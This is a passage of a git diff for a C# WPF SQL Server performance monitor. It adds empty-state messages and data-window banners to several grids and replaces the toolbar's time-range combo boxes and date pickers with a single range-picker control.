                 QueryStatsSlicer.LoadData(data, "Total CPU (ms)", slicerStart, slicerEnd);
         }
         catch (Exception ex)
@@ -164,7 +175,9 @@ private async System.Threading.Tasks.Task LoadQueryStoreSlicerAsync()
             _queryStoreSlicerData = data;
             _queryStoreSlicerMetric = "TotalCpu";
             var (slicerStart, slicerEnd) = PerformanceMonitor.Ui.TimeWindows.ChartAxis(hoursBack, fromDate, toDate, DateTime.UtcNow);
-            if (data.Count > 0)
+            if (data.Count == 0)
+                QueryStoreSlicer.ShowEmpty("No Query Store data in the selected time window.");
+            else
                 QueryStoreSlicer.LoadData(data, "Total CPU (ms)", slicerStart, slicerEnd);
         }
         catch (Exception ex)
@@ -204,7 +217,9 @@ private async System.Threading.Tasks.Task LoadProcStatsSlicerAsync()
             _procStatsSlicerData = data;
             _procStatsSlicerMetric = "TotalCpu";
             var (slicerStart, slicerEnd) = PerformanceMonitor.Ui.TimeWindows.ChartAxis(hoursBack, fromDate, toDate, DateTime.UtcNow);
-            if (data.Count > 0)
+            if (data.Count == 0)
+                ProcStatsSlicer.ShowEmpty("No procedure statistics in the selected time window.");
+            else
                 ProcStatsSlicer.LoadData(data, "Total CPU (ms)", slicerStart, slicerEnd);
         }
         catch (Exception ex)
diff --git a/Lite/Controls/ServerTab.SystemEvents.cs b/Lite/Controls/ServerTab.SystemEvents.cs
index 6692539c64..5e7792e3d7 100644
--- a/Lite/Controls/ServerTab.SystemEvents.cs
+++ b/Lite/Controls/ServerTab.SystemEvents.cs
@@ -106,6 +106,7 @@ private async System.Threading.Tasks.Task LoadSchedulerIssuesAsync(int hoursBack
         _seSchedulerFilterMgr!.UpdateData(data);
         ShowSystemHealthEmptyState(SchedulerIssuesNoDataMessage, data.Count);
         SchedulerIssuesCountIndicator.Text = data.Count > 0 ? $"{data.Count} event(s)" : "";
+        await RefreshStoredWindowBannerAsync(QueryWindowRelation.SystemHealthEvents, SchedulerIssuesWindowTruncatedBanner, hoursBack, fromDate, toDate);
     }
 
     private async System.Threading.Tasks.Task LoadSevereErrorsAsync(int hoursBack, DateTime? fromDate, DateTime? toDate)
@@ -114,6 +115,7 @@ private async System.Threading.Tasks.Task LoadSevereErrorsAsync(int hoursBack, D
         _seSevereErrorFilterMgr!.UpdateData(data);
         ShowSystemHealthEmptyState(SevereErrorsNoDataMessage, data.Count);
         SevereErrorsCountIndicator.Text = data.Count > 0 ? $"{data.Count} event(s)" : "";
+        await RefreshStoredWindowBannerAsync(QueryWindowRelation.SystemHealthEvents, SevereErrorsWindowTruncatedBanner, hoursBack, fromDate, toDate);
     }
 
     private async System.Threading.Tasks.Task LoadMemoryConditionsAsync(int hoursBack, DateTime? fromDate, DateTime? toDate)
@@ -122,6 +124,7 @@ private async System.Threading.Tasks.Task LoadMemoryConditionsAsync(int hoursBac
         _seMemoryConditionsFilterMgr!.UpdateData(data);
         ShowSystemHealthEmptyState(MemoryConditionsNoDataMessage, data.Count);
         MemoryConditionsCountIndicator.Text = data.Count > 0 ? $"{data.Count} event(s)" : "";
+        await RefreshStoredWindowBannerAsync(QueryWindowRelation.SystemHealthEvents, MemoryConditionsWindowTruncatedBanner, hoursBack, fromDate, toDate);
     }
 
     private async System.Threading.Tasks.Task LoadMemoryBrokerAsync(int hoursBack, DateTime? fromDate, DateTime? toDate)
@@ -130,6 +133,7 @@ private async System.Threading.Tasks.Task LoadMemoryBrokerAsync(int hoursBack, D
         _seMemoryBrokerFilterMgr!.UpdateData(data);
         ShowSystemHealthEmptyState(MemoryBrokerNoDataMessage, data.Count);
         MemoryBrokerCountIndicator.Text = data.Count > 0 ? $"{data.Count} event(s)" : "";
+        await RefreshStoredWindowBannerAsync(QueryWindowRelation.SystemHealthEvents, MemoryBrokerWindowTruncatedBanner, hoursBack, fromDate, toDate);
     }
 
     private async System.Threading.Tasks.Task LoadMemoryNodeOomAsync(int hoursBack, DateTime? fromDate, DateTime? toDate)
@@ -138,6 +142,7 @@ private async System.Threading.Tasks.Task LoadMemoryNodeOomAsync(int hoursBack,
         _seMemoryNodeOomFilterMgr!.UpdateData(data);
         ShowSystemHealthEmptyState(MemoryNodeOomNoDataMessage, data.Count);
         MemoryNodeOomCountIndicator.Text = data.Count > 0 ? $"{data.Count} event(s)" : "";
+        await RefreshStoredWindowBannerAsync(QueryWindowRelation.SystemHealthEvents, MemoryNodeOomWindowTruncatedBanner, hoursBack, fromDate, toDate);
     }
 
     private async System.Threading.Tasks.Task LoadSignificantWaitsAsync(int hoursBack, DateTime? fromDate, DateTime? toDate)
@@ -146,6 +151,7 @@ private async System.Threading.Tasks.Task LoadSignificantWaitsAsync(int hoursBac
         _seSignificantWaitsFilterMgr!.UpdateData(data);
         ShowSystemHealthEmptyState(SignificantWaitsNoDataMessage, data.Count);
         SignificantWaitsCountIndicator.Text = data.Count > 0 ? $"{data.Count} event(s)" : "";
+        await RefreshStoredWindowBannerAsync(QueryWindowRelation.SystemHealthEvents, SignificantWaitsWindowTruncatedBanner, hoursBack, fromDate, toDate);
     }
 
     private async System.Threading.Tasks.Task LoadCpuTasksAsync(int hoursBack, DateTime? fromDate, DateTime? toDate)
@@ -154,6 +160,7 @@ private async System.Threading.Tasks.Task LoadCpuTasksAsync(int hoursBack, DateT
         _seCpuTasksFilterMgr!.UpdateData(data);
         ShowSystemHealthEmptyState(CpuTasksNoDataMessage, data.Count);
         CpuTasksCountIndicator.Text = data.Count > 0 ? $"{data.Count} event(s)" : "";
+        await RefreshStoredWindowBannerAsync(QueryWindowRelation.SystemHealthEvents, CpuTasksWindowTruncatedBanner, hoursBack, fromDate, toDate);
     }
 
     private async System.Threading.Tasks.Task LoadIoIssuesAsync(int hoursBack, DateTime? fromDate, DateTime? toDate)
@@ -162,6 +169,7 @@ private async System.Threading.Tasks.Task LoadIoIssuesAsync(int hoursBack, DateT
         _seIoIssuesFilterMgr!.UpdateData(data);
         ShowSystemHealthEmptyState(IoIssuesNoDataMessage, data.Count);
         IoIssuesCountIndicator.Text = data.Count > 0 ? $"{data.Count} event(s)" : "";
+        await RefreshStoredWindowBannerAsync(QueryWindowRelation.SystemHealthEvents, IoIssuesWindowTruncatedBanner, hoursBack, fromDate, toDate);
     }
 
     private async System.Threading.Tasks.Task LoadDefaultTraceEventsAsync(int hoursBack, DateTime? fromDate, DateTime? toDate)
@@ -172,6 +180,7 @@ private async System.Threading.Tasks.Task LoadDefaultTraceEventsAsync(int hoursB
             DefaultTraceNoDataMessage.Text = gap;
         DefaultTraceNoDataMessage.Visibility = data.Count == 0 ? Visibility.Visible : Visibility.Collapsed;
         DefaultTraceCountIndicator.Text = data.Count > 0 ? $"{data.Count} event(s)" : "";
+        await RefreshStoredWindowBannerAsync(QueryWindowRelation.DefaultTraceEvents, DefaultTraceWindowTruncatedBanner, hoursBack, fromDate, toDate);
     }
 
     /// <summary>
@@ -199,6 +208,22 @@ private async System.Threading.Tasks.Task LoadDefaultTraceEventsAsync(int hoursB
     internal static string? SystemHealthGapNote(string serverName, bool isAzureSqlDatabase) =>
         EngineGapNote(serverName, isAzureSqlDatabase, "system_health_events");
 
+    /// <summary>
+    /// #4966: the "Showing since" banner of one grid that reads stored rows over the toolbar's window (the System Events and
+    /// Default Trace grids and the Config Changes grids: none of them caps its read; the Collection Log and Long Queries
+    /// read a capped page and go through <see cref="RefreshCappedGridBannerAsync{T}"/> over the same window, #4989). It probes
+    /// the UTC window the grid's read took, the same <see cref="LocalDataService.GetTimeRange"/> pair
+    /// (<see cref="LocalDataService.GetQueriesTabWindowUtc"/>), through <see cref="RefreshWindowTruncatedBannerAsync"/>, so a
+    /// probe that throws hides the banner and the refresh goes on. Each surface calls it after its rows are bound, from the one
+    /// method its read runs through, so every read path of the surface (the sub-tab switch, a range change and the Refresh
+    /// button) refreshes it.
+    /// </summary>
+    private System.Threading.Tasks.Task RefreshStoredWindowBannerAsync(QueryWindowRelation relation, TextBlock banner, int hoursBack, DateTime? fromDate, DateTime? toDate)
+    {
+        var (startUtc, endUtc) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);
+        return RefreshWindowTruncatedBannerAsync(relation, banner, startUtc, endUtc);
+    }
+
     /// <summary>A system_health grid's empty state: shown when the window has no rows. On an Azure SQL Database it says
     /// that the collector does not run there, in place of the grid's "no events in this window" text.</summary>
     private void ShowSystemHealthEmptyState(TextBlock message, int rowCount)
diff --git a/Lite/Controls/ServerTab.TimeRange.cs b/Lite/Controls/ServerTab.TimeRange.cs
index 9d142cb4c7..8e0dae6f64 100644
--- a/Lite/Controls/ServerTab.TimeRange.cs
+++ b/Lite/Controls/ServerTab.TimeRange.cs
@@ -36,146 +36,164 @@ namespace PerformanceMonitorLite.Controls;
 
 public partial class ServerTab : UserControl
 {
-    private void InitializeTimeComboBoxes()
+    /// <summary>
+    /// The range the toolbar picker holds, resolved against the clock now (#5562). A live range (the last 5 minutes,
+    /// 'Today', 'since ...') slides with every call. A calendar period is exempt from the 5-minute floor ('Today' at
+    /// 00:02 reads 00:00 to now; the sample note explains a sparse chart). When the held range cannot be used at this moment
+    /// (a 'since' start that has not happened yet) the last window that did resolve keeps being read, so a refresh never
+    /// reads nothing; with none yet, the default of four hours.
+    /// </summary>
+    private ResolvedTimeRange CurrentRange()
     {
-        // Populate hour ComboBoxes (12-hour format with AM/PM)
-        var hours = new List<string>();
-        for (int h = 0; h < 24; h++)
+        if (RangePicker.Resolve() is { } resolved)
         {
-            var dt = DateTime.Today.AddHours(h);
-            hours.Add(dt.ToString("HH:00")); // "00:00", "01:00", ..., "23:00"
+            _lastResolvedRange = resolved;
+            return resolved;
         }
 
-        FromHourCombo.ItemsSource = hours;
-        ToHourCombo.ItemsSource = hours;
-        FromHourCombo.SelectedIndex = 0;  // Default to 12 AM
-        ToHourCombo.SelectedIndex = 23;   // Default to 11 PM
-
-        // Populate minute ComboBoxes (15-minute intervals)
-        var minutes = new List<string> { ":00", ":15", ":30", ":45" };
-        FromMinuteCombo.ItemsSource = minutes;
-        ToMinuteCombo.ItemsSource = minutes;
-        FromMinuteCombo.SelectedIndex = 0; // Default to :00
-        ToMinuteCombo.SelectedIndex = 3;   // Default to :45 (so 11:45 PM is end)
-    }
-
-    private DateTime? GetDateTimeFromPickers(DatePicker datePicker, ComboBox hourCombo, ComboBox minuteCombo)
-    {
-        if (!datePicker.SelectedDate.HasValue) return null;
-
-        var date = datePicker.SelectedDate.Value.Date;
-        int hour = hourCombo.SelectedIndex >= 0 ? hourCombo.SelectedIndex : 0;
-        int minute = minuteCombo.SelectedIndex >= 0 ? minuteCombo.SelectedIndex * 15 : 0;
+        if (_lastResolvedRange != null)
+        {
+            return _lastResolvedRange;
+        }
 
-        return date.AddHours(hour).AddMinutes(minute);
+        LiteTimeRange.Default.TryResolve(DateTime.UtcNow, GetPickerZone(), out var fallback, out _);
+        return fallback!;
     }
 
+    private ResolvedTimeRange? _lastResolvedRange;
+
     /// <summary>
-    /// Gets the selected time range in hours.
+    /// How often the main collector of the page on screen samples, read from the schedule when asked (#5562, ruling R3): the
+    /// picker shows 'Data here is collected every N minutes.' when a span holds fewer than 3 samples. The argument is the
+    /// collector's name (<see cref="CurrentMainCollector"/>) and the answer its ACTUAL interval on this server. Set by
+    /// MainWindow, which owns the schedule; a tab opened without one (a test) shows no note.
     /// </summary>
-    private int GetHoursBack()
+    private Func<string, TimeSpan?>? _sampleIntervalProvider;
+    private bool _sampleNoteWired;
+
+    /// <summary>Hands the tab the way to read a collector's actual interval on this server.</summary>
+    public void SetSampleIntervalSource(Func<string, TimeSpan?> provider)
     {
-        return TimeRangeCombo.SelectedIndex switch
+        _sampleIntervalProvider = provider;
+        if (!_sampleNoteWired)
         {
-            0 => 1,
-            1 => 4,
-            2 => 12,
-            3 => 24,
-            4 => 168,
-            _ => 4
-        };
-    }
-
-    /// <summary>
-    /// The custom range this tab holds (#4766): two naive-UTC instants, or nothing until one is chosen. The pickers on
-    /// the toolbar are a rendering of it in the display zone (<see cref="RenderCustomRange"/>), not the state: every
-    /// read, slicer, drill and chart window takes its instants from here (<see cref="GetCurrentWindowUtc"/>), and only
-    /// a change the user makes to a picker parses text back into an instant (<see cref="CaptureCustomRangeEdit"/>).
-    /// A display-mode switch therefore changes the text on the pickers and nothing else, and a range in the hour that
-    /// repeats after a fall-back keeps the occurrence it was made for.
-    /// </summary>
-    private readonly CustomRangeState _customRange = new();
+            _sampleNoteWired = true;
 
-    /// <summary>True while the pickers are written from <see cref="_customRange"/>, so those writes are not read as the user typing.</summary>
-    private bool _renderingCustomRange;
+            /* A tab or sub-tab change moves the page on screen, so the note names that page's collector. */
+            AddHandler(System.Windows.Controls.Primitives.Selector.SelectionChangedEvent, new SelectionChangedEventHandler((_, e) =>
+            {
+                if (e.OriginalSource is TabControl)
+                {
+                    RefreshRangeNotes();
+                }
+            }));
+        }
 
-    /// <summary>
-    /// The zone the pickers show and are read in for <paramref name="mode"/>: UTC, this machine's zone, or the tab's OWN
-    /// server clock (<paramref name="tabClock"/>, not the selected tab's, so a tab that is not the selected one keeps
-    /// its own server's zone; a server with no collected clock keeps the fixed offset the connect probe read).
-    /// </summary>
-    internal static TimeZoneInfo PickerZone(TimeDisplayMode mode, ServerClock tabClock) =>
-        ServerTimeHelper.DisplayZoneFor(mode, tabClock);
+        RefreshRangeNotes();
+    }
 
     /// <summary>
-    /// The window a refresh reads, as (hoursBack, fromUtc, toUtc): the held custom range when a custom range is
-    /// selected and one is held, else the preset with no bounds. Pure, so a test drives it without the control.
+    /// The main collector of the sub-tab on screen (<see cref="LiteTimeRange.MainCollectorFor"/>): the top tab's header and,
+    /// when that tab holds a sub-tab control, the selected sub-tab's. Never widens the range; <c>null</c> shows no note.
     /// </summary>
-    internal static (int hoursBack, DateTime? fromUtc, DateTime? toUtc) CurrentWindowUtc(
-        int hoursBack, bool customSelected, CustomRangeState held) =>
-        customSelected && held.IsCustom ? (hoursBack, held.FromUtc, held.ToUtc) : (hoursBack, null, null);
+    internal string? CurrentMainCollector()
+    {
+        if (MainTabControl.SelectedItem is not TabItem top)
+        {
+            return null;
+        }
 
-    private TimeZoneInfo GetPickerZone() => PickerZone(ServerTimeHelper.CurrentDisplayMode, _serverClock);
+        string? sub = null;
+        if (top.Content is DependencyObject content && FindFirstTabControl(content) is { SelectedItem: TabItem selected })
+        {
+            sub = selected.Header as string;
+        }
 
-    private bool IsFromPicker(object? sender) =>
-        ReferenceEquals(sender, FromDatePicker) || ReferenceEquals(sender, FromHourCombo) || ReferenceEquals(sender, FromMinuteCombo);
+        return LiteTimeRange.MainCollectorFor(top.Header as string, sub);
+    }
 
-    /// <summary>
-    /// A typed edit (#4766): the picker the user changed is read as a wall clock in the display zone and becomes that
-    /// side of the held range; the other side keeps its exact instant. With nothing held yet (the pickers were filled
-    /// before any edit) both pickers are read once and the pair is held. Reads the pickers, so it is the only place
-    /// their text is parsed.
-    /// </summary>
-    private void CaptureCustomRangeEdit(object? sender)
+    private static TabControl? FindFirstTabControl(DependencyObject parent)
     {
-        var fromWall = GetDateTimeFromPickers(FromDatePicker!, FromHourCombo, FromMinuteCombo);
-        var toWall = GetDateTimeFromPickers(ToDatePicker!, ToHourCombo, ToMinuteCombo);
-        var zone = GetPickerZone();
-        if (_customRange.IsCustom)
+        foreach (var child in LogicalTreeHelper.GetChildren(parent))
         {
-            var fromSide = IsFromPicker(sender);
-            var wall = fromSide ? fromWall : toWall;
-            if (wall.HasValue)
+            if (child is TabControl tabs)
             {
-                _customRange.ApplyEdit(wall.Value, fromSide ? BoundSide.From : BoundSide.To, zone);
+                return tabs;
+            }
+
+            if (child is DependencyObject next && FindFirstTabControl(next) is { } found)
+            {
+                return found;
             }
         }
-        else if (fromWall.HasValue && toWall.HasValue)
-        {
-            _customRange.Set(
-                DisplayZone.ToUtcBound(fromWall.Value, zone, BoundSide.From),
-                DisplayZone.ToUtcBound(toWall.Value, zone, BoundSide.To));
-        }
+
+        return null;
     }
 
     /// <summary>
-    /// Shows the held range on the pickers in the display zone (#4766). Each bound is rendered as its own instant, so a
-    /// switch of zone changes only the text; nothing is parsed back. The picker minutes step in quarter hours, so an
-    /// instant between two steps shows the step below it while the held instant stays exact.
+    /// The floors the tab's banner probes found (#5562 R7), by the page that asked: a collector name, or "overview" for the
+    /// lanes on the Overview page. The picker names the floor of the page on screen; a page that has not probed yet, or a page
+    /// with no probe, gets the archive's static retention edge. No query of its own: every value is one a banner site
+    /// already awaited.
     /// </summary>
-    private void RenderCustomRange()
+    private readonly Dictionary<string, DateTime?> _probedFloors = new();
+
+    /// <summary>
+    /// Hands the picker the data start a banner site found (every <c>ApplyWindowFloorToBanner</c> site calls this with its
+    /// surface's main collector, so a source-scan test can pin the sites). It shows only while that page is on screen.
+    /// </summary>
+    internal void FeedDataStart(string? collector, DateTime? floor)
     {
-        if (_customRange.Render(GetPickerZone()) is not { } shown)
+        if (collector is not null)
         {
-            return;
+            _probedFloors[collector] = floor;
         }
 
-        _renderingCustomRange = true;
-        try
-        {
-            FromDatePicker.SelectedDate = shown.From.Date;
-            FromHourCombo.SelectedIndex = shown.From.Hour;
-            FromMinuteCombo.SelectedIndex = shown.From.Minute / 15;
-            ToDatePicker.SelectedDate = shown.To.Date;
-            ToHourCombo.SelectedIndex = shown.To.Hour;
-            ToMinuteCombo.SelectedIndex = shown.To.Minute / 15;
-        }
-        finally
-        {
-            _renderingCustomRange = false;
-        }
+        ApplyDataStart();
     }
 
+    /// <summary>Points the picker's data start at the page on screen: its probed floor, else the static retention edge.</summary>
+    private void ApplyDataStart()
+    {
+        var key = MainTabControl.SelectedItem is TabItem { Header: "Overview" } ? "overview" : CurrentMainCollector();
+        RangePicker.DataStartUtc = LiteTimeRange.DataStartFor(
+            key is not null && _probedFloors.TryGetValue(key, out var floor) ? floor : null, DateTime.UtcNow);
+    }
+
+    /// <summary>Redraws the picker's resolved text and its sample-interval note (a live range slides; the schedule can be edited).</summary>
+    private void RefreshRangeNotes()
+    {
+        ApplyDataStart();
+        RangePicker.SampleInterval = CurrentMainCollector() is { } collector ? _sampleIntervalProvider?.Invoke(collector) : null;
+        RangePicker.Refresh();
+    }
+
+    /// <summary>
+    /// Hours back from now that cover the range (#5562): the preset's own hours for a whole-hour rolling range, else the
+    /// whole hours from the range's start to now rounded up (at least 1), so a reader that only takes hours back (a
+    /// history window opened from a row) still covers a 15-minute span or a calendar period. Readers that carry
+    /// instants take them from <see cref="GetCurrentWindowUtc"/>.
+    /// </summary>
+    private int GetHoursBack() => LiteTimeRange.WindowFor(CurrentRange()).hoursBack;
+
+    /// <summary>
+    /// True during a synchronous, programmatic write to the range controls (a display-mode switch re-rendering the pickers,
+    /// a drill setting Custom), so those writes are not read as the user choosing a range and do not start a refresh (#5371).
+    /// It used to share <c>_isRefreshing</c> with "a refresh is in flight", which made every range handler bail on an
+    /// in-flight refresh and drop the user's change; the in-flight half is now the refresh coordinator's, which remembers it.
+    /// </summary>
+    private bool _suppressRangeRefresh;
+
+    /// <summary>
+    /// The zone the pickers show and are read in for <paramref name="mode"/>: UTC, this machine's zone, or the tab's OWN
+    /// server clock (<paramref name="tabClock"/>, not the selected tab's, so a tab that is not the selected one keeps
+    /// its own server's zone; a server with no collected clock keeps the fixed offset the connect probe read).
+    /// </summary>
+    internal static TimeZoneInfo PickerZone(TimeDisplayMode mode, ServerClock tabClock) =>
+        ServerTimeHelper.DisplayZoneFor(mode, tabClock);
+
+    private TimeZoneInfo GetPickerZone() => PickerZone(ServerTimeHelper.CurrentDisplayMode, _serverClock);
+
     /// <summary>
     /// The chart axis window as UTC instants (#4766), the frame every chart on this tab plots in: the custom range
     /// when one is set, else the last <paramref name="hoursBack"/> real hours ending now
@@ -194,19 +212,21 @@ internal static (DateTime Start, DateTime End) GetChartWindow(
         GetChartWindow(hoursBack, fromDate, toDate, DateTime.UtcNow);
 
     /// <summary>
-    /// Sets the time range dropdown from outside (used by Apply to All).
+    /// Holds <paramref name="spec"/> on this tab as if the user picked it (used by Apply to All): the picker redraws, and its
+    /// RangeChanged handler persists the choice and refreshes. A range this tab cannot use right now is left as it was.
     /// </summary>
-    public void SetTimeRangeIndex(int index)
+    public void SetTimeRange(TimeRangeSpec spec)
     {
-        if (index >= 0 && index < TimeRangeCombo.Items.Count)
-        {
-            TimeRangeCombo.SelectedIndex = index;
-        }
+        _probedFloors.Clear();
+        RangePicker.Select(spec);
     }
 
     private void ApplyTimeRangeToAll_Click(object sender, RoutedEventArgs e)
     {
-        ApplyTimeRangeRequested?.Invoke(TimeRangeCombo.SelectedIndex);
+        /* #5562 M2: a calendar period goes as the instants it names in THIS tab's zone, a fixed range as its held instants. Every
+           other tab resolves in its own server's clock in Server mode, so "Today" sent unresolved would be a different day on each
+           (#4766 settled that they window on the same period; the Viewer does the same through the same helper). */
+        ApplyTimeRangeRequested?.Invoke(TimeRangePresets.ForBroadcast(RangePicker.Value, DateTime.UtcNow, GetPickerZone()));
     }
 
     /* The _refreshTimer null guard in both handlers below is doing two jobs. It always absorbed the
@@ -335,15 +355,15 @@ private async void TimeDisplayMode_SelectionChanged(object sender, SelectionChan
         /* The held range is two instants (#4766), so a switch of display zone re-renders the same pair in the new
            zone and parses nothing back: a range in the repeated hour, or one the pickers cannot spell exactly,
            returns to exactly the instants it held. Suppress refreshes while updating pickers to avoid cascading queries. */
-        _isRefreshing = true;
+        _suppressRangeRefresh = true;
         try
         {
             ServerTimeHelper.CurrentDisplayMode = mode;
-            RenderCustomRange();
+            RangePicker.Refresh();
         }
         finally
         {
-            _isRefreshing = false;
+            _suppressRangeRefresh = false;
         }
 
         // Refresh every grid so each row's time text (ServerTimeHelper.FormatServerTime / FormatServerClock) is read again in the new mode
@@ -373,198 +393,47 @@ refresh a range change does — the Viewer's toggle ends with RefreshActiveInner
         await RefreshAllDataAsync();
     }
 
-    private async void TimeRangeCombo_SelectionChanged(object sender, SelectionChangedEventArgs e)
+    /// <summary>
+    /// The picker's choice (a preset, a calendar period, a typed range or a picked day). Remembers it
+    /// (<see cref="PersistSelectedTimeRange"/>) and re-reads every grid and chart. A programmatic write that must not
+    /// refresh sets <c>_suppressRangeRefresh</c>; an in-flight refresh is the coordinator's to replay (#5371), so this
+    /// does not look at <c>_isRefreshing</c>.
+    ///
+    /// <para>#2640: before the choice was remembered the control was write-only: the setting existed and was read at
+    /// startup, but only the Settings window wrote it, so choosing a longer range here and restarting came back at four
+    /// hours. A typed range is deliberately NOT persisted: restoring a window that ended two days ago would show an
+    /// empty chart of a range the operator has moved on from.</para>
+    /// </summary>
+    private async void RangePicker_RangeChanged(object? sender, TimeRangeChangedEventArgs e)
     {
-        if (!IsLoaded || _isRefreshing) return;
-
-        /* Show/hide custom date pickers and time ComboBoxes */
-        var isCustom = TimeRangeCombo.SelectedIndex == 5;
-        var visibility = isCustom ? Visibility.Visible : Visibility.Collapsed;
+        if (!IsLoaded || _suppressRangeRefresh) return;
 
-        if (FromDatePicker != null)
-        {
-            FromDatePicker.Visibility = visibility;
-            FromHourCombo.Visibility = visibility;
-            FromMinuteCombo.Visibility = visibility;
-            ToLabel.Visibility = visibility;
-            ToDatePicker.Visibility = visibility;
-            ToHourCombo.Visibility = visibility;
-            ToMinuteCombo.Visibility = visibility;
-
-            if (isCustom && FromDatePicker.SelectedDate == null)
-            {
-                FromDatePicker.SelectedDate = DateTime.Today.AddDays(-1);
-                ToDatePicker.SelectedDate = DateTime.Today;
-            }
+        /* L2: a probed floor is the first row inside the window it was probed for, so a held one names an older, shorter window
+           (or an older, longer one) once the range moves. Each page probes again on its own pass. */
+        _probedFloors.Clear();
+        PersistSelectedTimeRange(e.Spec);
 
-            if (!isCustom)
-            {
-                /* #2154: a DatePicker's calendar dropdown is a POPUP, which lives outside the visual
-                   tree's visibility — collapsing the picker does not close an already-open dropdown,
-                   so backing out of Custom Range without picking a date left an orphaned floating
-                   calendar on screen. Close them explicitly alongside the collapse. */
-                FromDatePicker.IsDropDownOpen = false;
-                ToDatePicker.IsDropDownOpen = false;
-            }
-        }
-
-        if (!isCustom)
-        {
-            /* #2640: remember the choice. Before this the picker was write-only — the settings key
-               default_time_range_hours existed and was read at startup, but the only thing that wrote it
-               was the Settings window, so choosing "Last 7 days" here and restarting came back at four
-               hours with nothing to explain why. A control that offers a choice and discards it reads as
-               broken, and the reporter read it that way.
-
-               Custom Range is deliberately NOT persisted: it has no hours value to store, and restoring a
-               window that ended two days ago would be worse than restoring nothing — the app would open
-               showing an empty chart of a range the operator has moved on from. */
-            PersistSelectedTimeRange();
-
-            await RefreshAllDataAsync();
-        }
+        await RefreshAllDataAsync();
     }
 
     /// <summary>
-    /// Writes the picked range to <c>default_time_range_hours</c>, the same key the Settings window writes
-    /// and startup reads, so the two cannot disagree about what the range means. Failure is logged by
-    /// <see cref="App.WriteSetting"/> and never interrupts the refresh — a settings file that cannot be
-    /// written must not stop the user looking at data.
+    /// Writes the picked range to settings.json, the same keys the Settings window writes and startup reads
+    /// (<see cref="LiteTimeRange.SettingsFor"/>): a whole-hour rolling range to the legacy <c>default_time_range_hours</c>
+    /// (older builds read it), any other preset or calendar period to <c>default_time_range</c>. A typed range writes
+    /// nothing. Failure is logged by <see cref="App.WriteSetting"/> and never interrupts the refresh.
     /// </summary>
-    private void PersistSelectedTimeRange()
+    private void PersistSelectedTimeRange(TimeRangeSpec spec)
     {
-        var hours = TimeRangeCombo.SelectedIndex switch
-        {
-            0 => 1,
-            1 => 4,
-            2 => 12,
-            3 => 24,
-            4 => 168,
-            _ => 0,
-        };
-
-        if (hours == 0)
+        var (rangeId, hours) = LiteTimeRange.SettingsFor(spec);
+        if (rangeId == null && hours == null)
         {
             return;
         }
 
-        /* The in-memory value too, not only the file: a second server tab opened in this same session
-           reads App.DefaultTimeRangeHours in its constructor, and a tab that opens on a different range
-           from the one just chosen is the same complaint in a smaller window. */
-        App.DefaultTimeRangeHours = hours;
-
-        App.WriteSetting("time range", root => root["default_time_range_hours"] = hours);
-    }
-
-    private async void CustomDateRange_Changed(object sender, SelectionChangedEventArgs e)
-    {
-        if (!IsLoaded || _renderingCustomRange) return;
-        CaptureCustomRangeEdit(sender);
-        if (_isRefreshing) return;
-        if (FromDatePicker?.SelectedDate != null && ToDatePicker?.SelectedDate != null)
-        {
-            await RefreshAllDataAsync();
-        }
-    }
-
-    private async void CustomTimeCombo_Changed(object sender, SelectionChangedEventArgs e)
-    {
-        if (!IsLoaded || _renderingCustomRange) return;
-        CaptureCustomRangeEdit(sender);
-        if (_isRefreshing) return;
-        /* Only refresh if we have valid dates selected */
-        if (FromDatePicker?.SelectedDate != null && ToDatePicker?.SelectedDate != null)
-        {
-            await RefreshAllDataAsync();
-        }
-    }
-
-    private void DatePicker_CalendarOpened(object sender, RoutedEventArgs e)
-    {
-        if (sender is DatePicker datePicker)
-        {
-            /* Use Dispatcher to ensure visual tree is ready */
-            Dispatcher.BeginInvoke(new Action(() =>
-            {
-                var popup = datePicker.Template.FindName("PART_Popup", datePicker) as System.Windows.Controls.Primitives.Popup;
-                if (popup?.Child is System.Windows.Controls.Calendar calendar)
-                {
-                    ApplyThemeToCalendar(calendar);
-                }
-            }));
-        }
-    }
-
-    private void ApplyThemeToCalendar(System.Windows.Controls.Calendar calendar)
-    {
-        SolidColorBrush primaryBg, fg, borderBrush;
+        /* The in-memory values too, not only the file: a second server tab opened in this same session reads them in its
+           constructor, and a tab that opens on a different range from the one just chosen is the same complaint. */
+        App.ApplyDefaultTimeRange(rangeId, hours);
 
-        if (ThemeManager.CurrentTheme == "CoolBreeze")
-        {
-            primaryBg   = new SolidColorBrush((System.Windows.Media.Color)ColorConverter.ConvertFromString("#EEF4FA")!);
-            fg          = new SolidColorBrush((System.Windows.Media.Color)ColorConverter.ConvertFromString("#1A2A3A")!);
-            borderBrush = new SolidColorBrush((System.Windows.Media.Color)ColorConverter.ConvertFromString("#A8BDD0")!);
-        }
-        else if (ThemeManager.HasLightBackground)
-        {
-            primaryBg   = new SolidColorBrush(System.Windows.Media.Color.FromRgb(0xFF, 0xFF, 0xFF));
-            fg          = new SolidColorBrush(System.Windows.Media.Color.FromRgb(0x1A, 0x1D, 0x23));
-            borderBrush = new SolidColorBrush(System.Windows.Media.Color.FromRgb(0xDE, 0xE2, 0xE6));
-        }
-        else
-        {
-            primaryBg   = new SolidColorBrush((System.Windows.Media.Color)ColorConverter.ConvertFromString("#111217")!);
-            fg          = new SolidColorBrush((System.Windows.Media.Color)ColorConverter.ConvertFromString("#E4E6EB")!);
-            borderBrush = new SolidColorBrush((System.Windows.Media.Color)ColorConverter.ConvertFromString("#2a2d35")!);
-        }
-
-        calendar.Background = primaryBg;
-        calendar.Foreground = fg;
-        calendar.BorderBrush = borderBrush;
-
-        ApplyThemeRecursively(calendar, primaryBg, fg);
-    }
-
-    private void ApplyThemeRecursively(DependencyObject parent, Brush primaryBg, Brush fg)
-    {
-        bool HasLightBackground = ThemeManager.HasLightBackground;
-        for (int i = 0; i < VisualTreeHelper.GetChildrenCount(parent); i++)
-        {
-            var child = VisualTreeHelper.GetChild(parent, i);
-
-            if (child is System.Windows.Controls.Primitives.CalendarItem calendarItem)
-            {
-                calendarItem.Background = primaryBg;
-                calendarItem.Foreground = fg;
-            }
-            else if (child is System.Windows.Controls.Primitives.CalendarDayButton dayButton)
-            {
-                dayButton.Background = Brushes.Transparent;
-                dayButton.Foreground = fg;
-            }
-            else if (child is System.Windows.Controls.Primitives.CalendarButton calButton)
-            {
-                calButton.Background = Brushes.Transparent;
-                calButton.Foreground = fg;
-            }
-            else if (child is Button button)
-            {
-                button.Background = Brushes.Transparent;
-                button.Foreground = fg;
-            }
-            else if (child is TextBlock textBlock)
-            {
-                textBlock.Foreground = fg;
-            }
